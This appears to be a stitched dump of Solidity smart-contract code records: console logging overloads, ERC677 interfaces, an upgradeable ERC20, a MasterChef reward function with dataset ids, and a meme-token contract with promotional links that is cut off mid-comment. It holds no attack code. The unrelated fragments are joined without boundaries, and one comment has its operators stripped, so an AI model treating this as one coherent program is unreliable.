_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; interface IERC677 { function transferAndCall( address to, uint256 value, bytes memory data ) external returns (bool ok); event Transfer(address indexed from, address indexed to, uint256 value, bytes data); } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; interface IERC677Receiver { function onTokenTransfer( address from, uint256 amount, bytes calldata data ) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; }
Returns the integer division of two unsigned integers. Reverts with custom message on division by zero. The result is rounded towards zero. Counterpart to Solidity's `/` operator. Note: this function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./ assert(a == b c + a % b); There is no case in which this doesn't hold
function div(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b > 0, errorMessage); uint128 c = a / b; return c; }
142,897
./full_match/43113/0x36F83BC6457DE40adC2067E41277e38E3bE4F74D/sources/MasterChef.sol
View function to see pending Conics on frontend.
function pendingConic(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accConicPerShare = pool.accConicPerShare; if (block.timestamp > pool.lastRewardSecond && pool.lpSupply != 0 && totalAllocPoint > 0) { uint256 multiplier = getMultiplier(pool.lastRewardSecond, block.timestamp); uint256 conicReward = multiplier.mul(conicPerSecond).mul(pool.allocPoint).div(totalAllocPoint); accConicPerShare = accConicPerShare.add(conicReward.mul(1e18).div(pool.lpSupply)); } uint256 pending = user.amount.mul(accConicPerShare).div(1e18).sub(user.rewardDebt); return pending.add(user.rewardLockedUp); }
7,170,914
/** *Submitted for verification at Etherscan.io on 2022-04-14 */ /** * * * $SHIBSHAO * * $SHIBSHAO serves as a burn bank token for the Shiba token. Many want to take down Shiba but we live to see to it that Shiba remains as the people’s most beloved crypto currency. * * * Telegram: https://t.me/shibshao * Web: https://www.shibshao.com/ * Twitter: https://twitter.com/ShibShao * * * */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert 